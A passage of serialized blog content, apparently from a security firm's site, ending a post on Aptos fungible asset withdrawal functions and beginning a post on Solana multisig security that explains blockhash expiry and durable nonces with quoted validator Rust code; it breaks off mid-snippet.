is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":25,"tag":26,"props":68603,"children":68604},{"id":4323},[68605],{"type":31,"value":4326},{"type":25,"tag":34,"props":68607,"children":68608},{},[68609,68611,68616],{"type":31,"value":68610},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":25,"tag":115,"props":68612,"children":68614},{"className":68613},[],[68615],{"type":31,"value":62046},{"type":31,"value":80},{"type":25,"tag":34,"props":68618,"children":68619},{},[68620],{"type":31,"value":68621},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":25,"tag":34,"props":68623,"children":68624},{},[68625,68627],{"type":31,"value":68626},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":25,"tag":16970,"props":68628,"children":68629},{},[68630],{"type":25,"tag":71,"props":68631,"children":68633},{"href":31107,"ariaDescribedBy":68632,"dataFootnoteRef":7,"id":31109},[16977],[68634],{"type":31,"value":5516},{"type":25,"tag":19920,"props":68636,"children":68638},{"className":68637,"dataFootnotes":7},[19923],[68639,68644],{"type":25,"tag":26,"props":68640,"children":68642},{"className":68641,"id":16977},[19928],[68643],{"type":31,"value":19931},{"type":25,"tag":6944,"props":68645,"children":68646},{},[68647],{"type":25,"tag":6948,"props":68648,"children":68649},{"id":31850},[68650,68652,68694],{"type":31,"value":68651},"There are at least four functions that can withdraw a fungible asset:",{"type":25,"tag":18183,"props":68653,"children":68654},{},[68655,68665,68674,68684],{"type":25,"tag":6948,"props":68656,"children":68657},{},[68658],{"type":25,"tag":71,"props":68659,"children":68663},{"href":68660,"rel":68661,":style":68662},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[75],"color: #007bff;",[68664],{"type":31,"value":65347},{"type":25,"tag":6948,"props":68666,"children":68667},{},[68668],{"type":25,"tag":71,"props":68669,"children":68672},{"href":68670,"rel":68671,":style":68662},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[75],[68673],{"type":31,"value":67287},{"type":25,"tag":6948,"props":68675,"children":68676},{},[68677],{"type":25,"tag":71,"props":68678,"children":68681},{"href":68679,"rel":68680,":style":68662},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[75],[68682],{"type":31,"value":68683},"primary_fungible_store::withdraw",{"type":25,"tag":6948,"props":68685,"children":68686},{},[68687],{"type":25,"tag":71,"props":68688,"children":68691},{"href":68689,"rel":68690,":style":68662},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[75],[68692],{"type":31,"value":68693},"coin::withdraw",{"type":25,"tag":71,"props":68695,"children":68697},{"href":31878,"ariaLabel":20034,"className":68696,"dataFootnoteBackref":7},[20036],[68698],{"type":31,"value":20039},{"type":25,"tag":4349,"props":68700,"children":68701},{},[68702],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":68704},[68705,68706,68707,68710,68715,68716,68717,68718],{"id":62032,"depth":226,"text":62035},{"id":62577,"depth":226,"text":62580},{"id":63137,"depth":226,"text":63140,"children":68708},[68709],{"id":63648,"depth":278,"text":63651},{"id":63905,"depth":226,"text":63908,"children":68711},[68712,68713,68714],{"id":63948,"depth":278,"text":63951},{"id":64653,"depth":278,"text":64656},{"id":66311,"depth":278,"text":66314},{"id":66842,"depth":226,"text":66845},{"id":67823,"depth":226,"text":67826},{"id":4323,"depth":226,"text":4326},{"id":16977,"depth":226,"text":19931},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":68723,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68724,"description":68725,"date":68726,"author":7229,"image":68727,"isFeatured":17,"onBlogPage":17,"tags":68729,"body":68730,"_type":4371,"_id":70558,"_source":4373,"_file":70559,"_stem":70560,"_extension":4376},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":68728,"width":6892,"height":6893},"/posts/multisig-security/title.png",[4388],{"type":22,"children":68731,"toc":70549},[68732,68745,68751,68756,68762,68775,68783,68796,68856,68878,69005,69010,69023,69035,69041,69055,69068,69082,69564,69569,69577,69591,69605,69744,69756,69762,69767,69785,69790,69795,69816,70100,70115,70303,70316,70445,70450,70455,70460,70488,70494,70499,70513,70545],{"type":25,"tag":34,"props":68733,"children":68734},{},[68735,68736,68743],{"type":31,"value":18109},{"type":25,"tag":71,"props":68737,"children":68740},{"href":68738,"rel":68739},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[75],[68741],{"type":31,"value":68742},"Bybit hack",{"type":31,"value":68744}," raises an interesting question: what can teams do if their signers are compromised?",{"type":25,"tag":26,"props":68746,"children":68748},{"id":68747},"solana-signatures",[68749],{"type":31,"value":68750},"Solana Signatures",{"type":25,"tag":34,"props":68752,"children":68753},{},[68754],{"type":31,"value":68755},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":25,"tag":40,"props":68757,"children":68759},{"id":68758},"recent-blockhash",[68760],{"type":31,"value":68761},"Recent Blockhash",{"type":25,"tag":34,"props":68763,"children":68764},{},[68765,68767,68774],{"type":31,"value":68766},"The most straightforward is with a \"recent blockhash\". From ",{"type":25,"tag":71,"props":68768,"children":68771},{"href":68769,"rel":68770},"https://solana.com/developers/guides/advanced/confirmation",[75],[68772],{"type":31,"value":68773},"the docs",{"type":31,"value":5997},{"type":25,"tag":4439,"props":68776,"children":68777},{},[68778],{"type":25,"tag":34,"props":68779,"children":68780},{},[68781],{"type":31,"value":68782},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":25,"tag":34,"props":68784,"children":68785},{},[68786,68788,68795],{"type":31,"value":68787},"The actual constant ",{"type":25,"tag":71,"props":68789,"children":68792},{"href":68790,"rel":68791},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[75],[68793],{"type":31,"value":68794},"is defined here",{"type":31,"value":80},{"type":25,"tag":191,"props":68797,"children":68799},{"className":4487,"code":68798,"language":4486,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[68800],{"type":25,"tag":115,"props":68801,"children":68802},{"__ignoreMap":7},[68803,68811],{"type":25,"tag":201,"props":68804,"children":68805},{"class":203,"line":204},[68806],{"type":25,"tag":201,"props":68807,"children":68808},{"style":4497},[68809],{"type":31,"value":68810},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":25,"tag":201,"props":68812,"children":68813},{"class":203,"line":226},[68814,68818,68822,68827,68831,68835,68839,68844,68848,68852],{"type":25,"tag":201,"props":68815,"children":68816},{"style":208},[68817],{"type":31,"value":15192},{"type":25,"tag":201,"props":68819,"children":68820},{"style":208},[68821],{"type":31,"value":40181},{"type":25,"tag":201,"props":68823,"children":68824},{"style":220},[68825],{"type":31,"value":68826}," MAX_PROCESSING_AGE",{"type":25,"tag":201,"props":68828,"children":68829},{"style":261},[68830],{"type":31,"value":5997},{"type":25,"tag":201,"props":68832,"children":68833},{"style":4925},[68834],{"type":31,"value":15233},{"type":25,"tag":201,"props":68836,"children":68837},{"style":261},[68838],{"type":31,"value":413},{"type":25,"tag":201,"props":68840,"children":68841},{"style":220},[68842],{"type":31,"value":68843}," MAX_RECENT_BLOCKHASHES ",{"type":25,"tag":201,"props":68845,"children":68846},{"style":261},[68847],{"type":31,"value":6087},{"type":25,"tag":201,"props":68849,"children":68850},{"style":426},[68851],{"type":31,"value":9443},{"type":25,"tag":201,"props":68853,"children":68854},{"style":220},[68855],{"type":31,"value":461},{"type":25,"tag":34,"props":68857,"children":68858},{},[68859,68861,68868,68870,68876],{"type":31,"value":68860},"For those curious, the logic ",{"type":25,"tag":71,"props":68862,"children":68865},{"href":68863,"rel":68864},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[75],[68866],{"type":31,"value":68867},"starts here",{"type":31,"value":68869}," and is quite straightforward to follow, ending in a ",{"type":25,"tag":115,"props":68871,"children":68873},{"className":68872},[],[68874],{"type":31,"value":68875},"is_hash_index_valid",{"type":31,"value":68877}," check.",{"type":25,"tag":191,"props":68879,"children":68881},{"className":4487,"code":68880,"language":4486,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[68882],{"type":25,"tag":115,"props":68883,"children":68884},{"__ignoreMap":7},[68885,68964,68998],{"type":25,"tag":201,"props":68886,"children":68887},{"class":203,"line":204},[68888,68892,68897,68901,68906,68910,68914,68918,68923,68927,68931,68935,68940,68944,68948,68952,68956,68960],{"type":25,"tag":201,"props":68889,"children":68890},{"style":208},[68891],{"type":31,"value":21763},{"type":25,"tag":201,"props":68893,"children":68894},{"style":214},[68895],{"type":31,"value":68896}," is_hash_index_valid",{"type":25,"tag":201,"props":68898,"children":68899},{"style":220},[68900],{"type":31,"value":298},{"type":25,"tag":201,"props":68902,"children":68903},{"style":246},[68904],{"type":31,"value":68905},"last_hash_index",{"type":25,"tag":201,"props":68907,"children":68908},{"style":261},[68909],{"type":31,"value":5997},{"type":25,"tag":201,"props":68911,"children":68912},{"style":4925},[68913],{"type":31,"value":7369},{"type":25,"tag":201,"props":68915,"children":68916},{"style":220},[68917],{"type":31,"value":919},{"type":25,"tag":201,"props":68919,"children":68920},{"style":246},[68921],{"type":31,"value":68922},"max_age",{"type":25,"tag":201,"props":68924,"children":68925},{"style":261},[68926],{"type":31,"value":5997},{"type":25,"tag":201,"props":68928,"children":68929},{"style":4925},[68930],{"type":31,"value":15233},{"type":25,"tag":201,"props":68932,"children":68933},{"style":220},[68934],{"type":31,"value":919},{"type":25,"tag":201,"props":68936,"children":68937},{"style":246},[68938],{"type":31,"value":68939},"hash_index",{"type":25,"tag":201,"props":68941,"children":68942},{"style":261},[68943],{"type":31,"value":5997},{"type":25,"tag":201,"props":68945,"children":68946},{"style":4925},[68947],{"type":31,"value":7369},{"type":25,"tag":201,"props":68949,"children":68950},{"style":220},[68951],{"type":31,"value":385},{"type":25,"tag":201,"props":68953,"children":68954},{"style":261},[68955],{"type":31,"value":15259},{"type":25,"tag":201,"props":68957,"children":68958},{"style":4925},[68959],{"type":31,"value":13552},{"type":25,"tag":201,"props":68961,"children":68962},{"style":220},[68963],{"type":31,"value":327},{"type":25,"tag":201,"props":68965,"children":68966},{"class":203,"line":226},[68967,68972,68976,68981,68985,68990,68994],{"type":25,"tag":201,"props":68968,"children":68969},{"style":246},[68970],{"type":31,"value":68971},"    last_hash_index",{"type":25,"tag":201,"props":68973,"children":68974},{"style":261},[68975],{"type":31,"value":52333},{"type":25,"tag":201,"props":68977,"children":68978},{"style":246},[68979],{"type":31,"value":68980}," hash_index",{"type":25,"tag":201,"props":68982,"children":68983},{"style":261},[68984],{"type":31,"value":9705},{"type":25,"tag":201,"props":68986,"children":68987},{"style":246},[68988],{"type":31,"value":68989}," max_age",{"type":25,"tag":201,"props":68991,"children":68992},{"style":208},[68993],{"type":31,"value":10335},{"type":25,"tag":201,"props":68995,"children":68996},{"style":4925},[68997],{"type":31,"value":14699},{"type":25,"tag":201,"props":68999,"children":69000},{"class":203,"line":278},[69001],{"type":25,"tag":201,"props":69002,"children":69003},{"style":220},[69004],{"type":31,"value":1187},{"type":25,"tag":34,"props":69006,"children":69007},{},[69008],{"type":31,"value":69009},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":25,"tag":4439,"props":69011,"children":69012},{},[69013],{"type":25,"tag":34,"props":69014,"children":69015},{},[69016,69018],{"type":31,"value":69017},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":25,"tag":1252,"props":69019,"children":69020},{},[69021],{"type":31,"value":69022},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":25,"tag":34,"props":69024,"children":69025},{},[69026,69028,69033],{"type":31,"value":69027},"This means an attacker ",{"type":25,"tag":65,"props":69029,"children":69030},{},[69031],{"type":31,"value":69032},"must use",{"type":31,"value":69034}," a malicious signed transaction within a short timeframe.",{"type":25,"tag":40,"props":69036,"children":69038},{"id":69037},"durable-nonce",[69039],{"type":31,"value":69040},"Durable Nonce",{"type":25,"tag":34,"props":69042,"children":69043},{},[69044,69046,69053],{"type":31,"value":69045},"The second type of signature ",{"type":25,"tag":71,"props":69047,"children":69050},{"href":69048,"rel":69049},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[75],[69051],{"type":31,"value":69052},"is a durable nonce",{"type":31,"value":69054},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":25,"tag":4439,"props":69056,"children":69057},{},[69058],{"type":25,"tag":34,"props":69059,"children":69060},{},[69061,69063],{"type":31,"value":69062},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":25,"tag":1252,"props":69064,"children":69065},{},[69066],{"type":31,"value":69067},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":25,"tag":34,"props":69069,"children":69070},{},[69071,69073,69080],{"type":31,"value":69072},"If we examine the code ",{"type":25,"tag":71,"props":69074,"children":69077},{"href":69075,"rel":69076},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[75],[69078],{"type":31,"value":69079},"for recent blockhash validation",{"type":31,"value":69081},", we can also see the handling for durable nonces.",{"type":25,"tag":191,"props":69083,"children":69085},{"className":4487,"code":69084,"language":4486,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[69086],{"type":25,"tag":115,"props":69087,"children":69088},{"__ignoreMap":7},[69089,69136,69202,69222,69242,69272,69280,69334,69351,69371,69383,69395,69403,69410,69429,69456,69476,69483,69498,69528,69557],{"type":25,"tag":201,"props":69090,"children":69091},{"class":203,"line":204},[69092,69096,69101,69105,69110,69114,69119,69123,69127,69132],{"type":25,"tag":201,"props":69093,"children":69094},{"style":208},[69095],{"type":31,"value":4508},{"type":25,"tag":201,"props":69097,"children":69098},{"style":246},[69099],{"type":31,"value":69100}," recent_blockhash",{"type":25,"tag":201,"props":69102,"children":69103},{"style":261},[69104],{"type":31,"value":413},{"type":25,"tag":201,"props":69106,"children":69107},{"style":246},[69108],{"type":31,"value":69109}," tx",{"type":25,"tag":201,"props":69111,"children":69112},{"style":261},[69113],{"type":31,"value":80},{"type":25,"tag":201,"props":69115,"children":69116},{"style":214},[69117],{"type":31,"value":69118},"message",{"type":25,"tag":201,"props":69120,"children":69121},{"style":220},[69122],{"type":31,"value":15381},{"type":25,"tag":201,"props":69124,"children":69125},{"style":261},[69126],{"type":31,"value":80},{"type":25,"tag":201,"props":69128,"children":69129},{"style":214},[69130],{"type":31,"value":69131},"recent_blockhash",{"type":25,"tag":201,"props":69133,"children":69134},{"style":220},[69135],{"type":31,"value":1985},{"type":25,"tag":201,"props":69137,"children":69138},{"class":203,"line":226},[69139,69143,69147,69151,69155,69160,69164,69168,69173,69177,69182,69186,69190,69194,69198],{"type":25,"tag":201,"props":69140,"children":69141},{"style":230},[69142],{"type":31,"value":13781},{"type":25,"tag":201,"props":69144,"children":69145},{"style":208},[69146],{"type":31,"value":28789},{"type":25,"tag":201,"props":69148,"children":69149},{"style":4925},[69150],{"type":31,"value":28794},{"type":25,"tag":201,"props":69152,"children":69153},{"style":220},[69154],{"type":31,"value":298},{"type":25,"tag":201,"props":69156,"children":69157},{"style":246},[69158],{"type":31,"value":69159},"hash_info",{"type":25,"tag":201,"props":69161,"children":69162},{"style":220},[69163],{"type":31,"value":385},{"type":25,"tag":201,"props":69165,"children":69166},{"style":261},[69167],{"type":31,"value":1383},{"type":25,"tag":201,"props":69169,"children":69170},{"style":246},[69171],{"type":31,"value":69172}," hash_queue",{"type":25,"tag":201,"props":69174,"children":69175},{"style":261},[69176],{"type":31,"value":80},{"type":25,"tag":201,"props":69178,"children":69179},{"style":214},[69180],{"type":31,"value":69181},"get_hash_info_if_valid",{"type":25,"tag":201,"props":69183,"children":69184},{"style":220},[69185],{"type":31,"value":298},{"type":25,"tag":201,"props":69187,"children":69188},{"style":246},[69189],{"type":31,"value":69131},{"type":25,"tag":201,"props":69191,"children":69192},{"style":220},[69193],{"type":31,"value":919},{"type":25,"tag":201,"props":69195,"children":69196},{"style":246},[69197],{"type":31,"value":68922},{"type":25,"tag":201,"props":69199,"children":69200},{"style":220},[69201],{"type":31,"value":275},{"type":25,"tag":201,"props":69203,"children":69204},{"class":203,"line":278},[69205,69209,69213,69218],{"type":25,"tag":201,"props":69206,"children":69207},{"style":4925},[69208],{"type":31,"value":16312},{"type":25,"tag":201,"props":69210,"children":69211},{"style":220},[69212],{"type":31,"value":298},{"type":25,"tag":201,"props":69214,"children":69215},{"style":4925},[69216],{"type":31,"value":69217},"CheckedTransactionDetails",{"type":25,"tag":201,"props":69219,"children":69220},{"style":220},[69221],{"type":31,"value":327},{"type":25,"tag":201,"props":69223,"children":69224},{"class":203,"line":311},[69225,69230,69234,69238],{"type":25,"tag":201,"props":69226,"children":69227},{"style":246},[69228],{"type":31,"value":69229},"            nonce",{"type":25,"tag":201,"props":69231,"children":69232},{"style":261},[69233],{"type":31,"value":5997},{"type":25,"tag":201,"props":69235,"children":69236},{"style":4925},[69237],{"type":31,"value":29242},{"type":25,"tag":201,"props":69239,"children":69240},{"style":220},[69241],{"type":31,"value":547},{"type":25,"tag":201,"props":69243,"children":69244},{"class":203,"line":330},[69245,69250,69254,69259,69263,69268],{"type":25,"tag":201,"props":69246,"children":69247},{"style":246},[69248],{"type":31,"value":69249},"            lamports_per_signature",{"type":25,"tag":201,"props":69251,"children":69252},{"style":261},[69253],{"type":31,"value":5997},{"type":25,"tag":201,"props":69255,"children":69256},{"style":246},[69257],{"type":31,"value":69258}," hash_info",{"type":25,"tag":201,"props":69260,"children":69261},{"style":261},[69262],{"type":31,"value":80},{"type":25,"tag":201,"props":69264,"children":69265},{"style":214},[69266],{"type":31,"value":69267},"lamports_per_signature",{"type":25,"tag":201,"props":69269,"children":69270},{"style":220},[69271],{"type":31,"value":1104},{"type":25,"tag":201,"props":69273,"children":69274},{"class":203,"line":397},[69275],{"type":25,"tag":201,"props":69276,"children":69277},{"style":220},[69278],{"type":31,"value":69279},"        })\n",{"type":25,"tag":201,"props":69281,"children":69282},{"class":203,"line":437},[69283,69287,69291,69295,69299,69303,69307,69312,69316,69321,69325,69329],{"type":25,"tag":201,"props":69284,"children":69285},{"style":220},[69286],{"type":31,"value":17274},{"type":25,"tag":201,"props":69288,"children":69289},{"style":230},[69290],{"type":31,"value":322},{"type":25,"tag":201,"props":69292,"children":69293},{"style":230},[69294],{"type":31,"value":17283},{"type":25,"tag":201,"props":69296,"children":69297},{"style":208},[69298],{"type":31,"value":28789},{"type":25,"tag":201,"props":69300,"children":69301},{"style":4925},[69302],{"type":31,"value":28794},{"type":25,"tag":201,"props":69304,"children":69305},{"style":220},[69306],{"type":31,"value":375},{"type":25,"tag":201,"props":69308,"children":69309},{"style":246},[69310],{"type":31,"value":69311},"nonce",{"type":25,"tag":201,"props":69313,"children":69314},{"style":220},[69315],{"type":31,"value":919},{"type":25,"tag":201,"props":69317,"children":69318},{"style":246},[69319],{"type":31,"value":69320},"previous_lamports_per_signature",{"type":25,"tag":201,"props":69322,"children":69323},{"style":220},[69324],{"type":31,"value":10344},{"type":25,"tag":201,"props":69326,"children":69327},{"style":261},[69328],{"type":31,"value":1383},{"type":25,"tag":201,"props":69330,"children":69331},{"style":208},[69332],{"type":31,"value":69333}," self\n",{"type":25,"tag":201,"props":69335,"children":69336},{"class":203,"line":464},[69337,69342,69347],{"type":25,"tag":201,"props":69338,"children":69339},{"style":261},[69340],{"type":31,"value":69341},"        .",{"type":25,"tag":201,"props":69343,"children":69344},{"style":214},[69345],{"type":31,"value":69346},"check_load_and_advance_message_nonce_account",{"type":25,"tag":201,"props":69348,"children":69349},{"style":220},[69350],{"type":31,"value":4970},{"type":25,"tag":201,"props":69352,"children":69353},{"class":203,"line":490},[69354,69359,69363,69367],{"type":25,"tag":201,"props":69355,"children":69356},{"style":246},[69357],{"type":31,"value":69358},"            tx",{"type":25,"tag":201,"props":69360,"children":69361},{"style":261},[69362],{"type":31,"value":80},{"type":25,"tag":201,"props":69364,"children":69365},{"style":214},[69366],{"type":31,"value":69118},{"type":25,"tag":201,"props":69368,"children":69369},{"style":220},[69370],{"type":31,"value":1104},{"type":25,"tag":201,"props":69372,"children":69373},{"class":203,"line":499},[69374,69379],{"type":25,"tag":201,"props":69375,"children":69376},{"style":246},[69377],{"type":31,"value":69378},"            next_durable_nonce",{"type":25,"tag":201,"props":69380,"children":69381},{"style":220},[69382],{"type":31,"value":547},{"type":25,"tag":201,"props":69384,"children":69385},{"class":203,"line":522},[69386,69391],{"type":25,"tag":201,"props":69387,"children":69388},{"style":246},[69389],{"type":31,"value":69390},"            next_lamports_per_signature",{"type":25,"tag":201,"props":69392,"children":69393},{"style":220},[69394],{"type":31,"value":547},{"type":25,"tag":201,"props":69396,"children":69397},{"class":203,"line":531},[69398],{"type":25,"tag":201,"props":69399,"children":69400},{"style":220},[69401],{"type":31,"value":69402},"        )\n",{"type":25,"tag":201,"props":69404,"children":69405},{"class":203,"line":550},[69406],{"type":25,"tag":201,"props":69407,"children":69408},{"style":220},[69409],{"type":31,"value":30670},{"type":25,"tag":201,"props":69411,"children":69412},{"class":203,"line":563},[69413,69417,69421,69425],{"type":25,"tag":201,"props":69414,"children":69415},{"style":4925},[69416],{"type":31,"value":16312},{"type":25,"tag":201,"props":69418,"children":69419},{"style":220},[69420],{"type":31,"value":298},{"type":25,"tag":201,"props":69422,"children":69423},{"style":4925},[69424],{"type":31,"value":69217},{"type":25,"tag":201,"props":69426,"children":69427},{"style":220},[69428],{"type":31,"value":327},{"type":25,"tag":201,"props":69430,"children":69431},{"class":203,"line":572},[69432,69436,69440,69444,69448,69452],{"type":25,"tag":201,"props":69433,"children":69434},{"style":246},[69435],{"type":31,"value":69229},{"type":25,"tag":201,"props":69437,"children":69438},{"style":261},[69439],{"type":31,"value":5997},{"type":25,"tag":201,"props":69441,"children":69442},{"style":4925},[69443],{"type":31,"value":28794},{"type":25,"tag":201,"props":69445,"children":69446},{"style":220},[69447],{"type":31,"value":298},{"type":25,"tag":201,"props":69449,"children":69450},{"style":246},[69451],{"type":31,"value":69311},{"type":25,"tag":201,"props":69453,"children":69454},{"style":220},[69455],{"type":31,"value":8245},{"type":25,"tag":201,"props":69457,"children":69458},{"class":203,"line":590},[69459,69463,69467,69472],{"type":25,"tag":201,"props":69460,"children":69461},{"style":246},[69462],{"type":31,"value":69249},{"type":25,"tag":201,"props":69464,"children":69465},{"style":261},[69466],{"type":31,"value":5997},{"type":25,"tag":201,"props":69468,"children":69469},{"style":246},[69470],{"type":31,"value":69471}," previous_lamports_per_signature",{"type":25,"tag":201,"props":69473,"children":69474},{"style":220},[69475],{"type":31,"value":547},{"type":25,"tag":201,"props":69477,"children":69478},{"class":203,"line":608},[69479],{"type":25,"tag":201,"props":69480,"children":69481},{"style":220},[69482],{"type":31,"value":69279},{"type":25,"tag":201,"props":69484,"children":69485},{"class":203,"line":617},[69486,69490,69494],{"type":25,"tag":201,"props":69487,"children":69488},{"style":220},[69489],{"type":31,"value":17274},{"type":25,"tag":201,"props":69491,"children":69492},{"style":230},[69493],{"type":31,"value":322},{"type":25,"tag":201,"props":69495,"children":69496},{"style":220},[69497],{"type":31,"value":327},{"type":25,"tag":201,"props":69499,"children":69500},{"class":203,"line":625},[69501,69506,69510,69515,69520,69524],{"type":25,"tag":201,"props":69502,"children":69503},{"style":246},[69504],{"type":31,"value":69505},"        error_counters",{"type":25,"tag":201,"props":69507,"children":69508},{"style":261},[69509],{"type":31,"value":80},{"type":25,"tag":201,"props":69511,"children":69512},{"style":220},[69513],{"type":31,"value":69514},"blockhash_not_found ",{"type":25,"tag":201,"props":69516,"children":69517},{"style":261},[69518],{"type":31,"value":69519},"+=",{"type":25,"tag":201,"props":69521,"children":69522},{"style":426},[69523],{"type":31,"value":6029},{"type":25,"tag":201,"props":69525,"children":69526},{"style":220},[69527],{"type":31,"value":461},{"type":25,"tag":201,"props":69529,"children":69530},{"class":203,"line":642},[69531,69535,69539,69544,69548,69553],{"type":25,"tag":201,"props":69532,"children":69533},{"style":4925},[69534],{"type":31,"value":16354},{"type":25,"tag":201,"props":69536,"children":69537},{"style":220},[69538],{"type":31,"value":298},{"type":25,"tag":201,"props":69540,"children":69541},{"style":4925},[69542],{"type":31,"value":69543},"TransactionError",{"type":25,"tag":201,"props":69545,"children":69546},{"style":261},[69547],{"type":31,"value":4988},{"type":25,"tag":201,"props":69549,"children":69550},{"style":4925},[69551],{"type":31,"value":69552},"BlockhashNotFound",{"type":25,"tag":201,"props":69554,"children":69555},{"style":220},[69556],{"type":31,"value":4666},{"type":25,"tag":201,"props":69558,"children":69559},{"class":203,"line":659},[69560],{"type":25,"tag":201,"props":69561,"children":69562},{"style":220},[69563],{"type":31,"value":4861},{"type":25,"tag":34,"props":69565,"children":69566},{},[69567],{"type":31,"value":69568},"The documentation does a good job of explaining how they work.",{"type":25,"tag":4439,"props":69570,"children":69571},{},[69572],{"type":25,"tag":34,"props":69573,"children":69574},{},[69575],{"type":31,"value":69576},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":25,"tag":34,"props":69578,"children":69579},{},[69580,69582,69589],{"type":31,"value":69581},"Durable nonces are created and managed ",{"type":25,"tag":71,"props":69583,"children":69586},{"href":69584,"rel":69585},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[75],[69587],{"type":31,"value":69588},"by the system program",{"type":31,"value":69590},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":25,"tag":34,"props":69592,"children":69593},{},[69594,69596,69603],{"type":31,"value":69595},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":25,"tag":71,"props":69597,"children":69600},{"href":69598,"rel":69599},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[75],[69601],{"type":31,"value":69602},"based on the current blockhash",{"type":31,"value":69604},", and cannot be predicted in advance.",{"type":25,"tag":191,"props":69606,"children":69608},{"className":4487,"code":69607,"language":4486,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[69609],{"type":25,"tag":115,"props":69610,"children":69611},{"__ignoreMap":7},[69612,69664,69697],{"type":25,"tag":201,"props":69613,"children":69614},{"class":203,"line":204},[69615,69619,69623,69627,69631,69635,69640,69644,69648,69652,69656,69660],{"type":25,"tag":201,"props":69616,"children":69617},{"style":208},[69618],{"type":31,"value":4508},{"type":25,"tag":201,"props":69620,"children":69621},{"style":246},[69622],{"type":31,"value":69172},{"type":25,"tag":201,"props":69624,"children":69625},{"style":261},[69626],{"type":31,"value":413},{"type":25,"tag":201,"props":69628,"children":69629},{"style":208},[69630],{"type":31,"value":15299},{"type":25,"tag":201,"props":69632,"children":69633},{"style":261},[69634],{"type":31,"value":80},{"type":25,"tag":201,"props":69636,"children":69637},{"style":220},[69638],{"type":31,"value":69639},"blockhash_queue",{"type":25,"tag":201,"props":69641,"children":69642},{"style":261},[69643],{"type":31,"value":80},{"type":25,"tag":201,"props":69645,"children":69646},{"style":214},[69647],{"type":31,"value":61720},{"type":25,"tag":201,"props":69649,"children":69650},{"style":220},[69651],{"type":31,"value":15381},{"type":25,"tag":201,"props":69653,"children":69654},{"style":261},[69655],{"type":31,"value":80},{"type":25,"tag":201,"props":69657,"children":69658},{"style":214},[69659],{"type":31,"value":5170},{"type":25,"tag":201,"props":69661,"children":69662},{"style":220},[69663],{"type":31,"value":1985},{"type":25,"tag":201,"props":69665,"children":69666},{"class":203,"line":226},[69667,69671,69676,69680,69684,69688,69693],{"type":25,"tag":201,"props"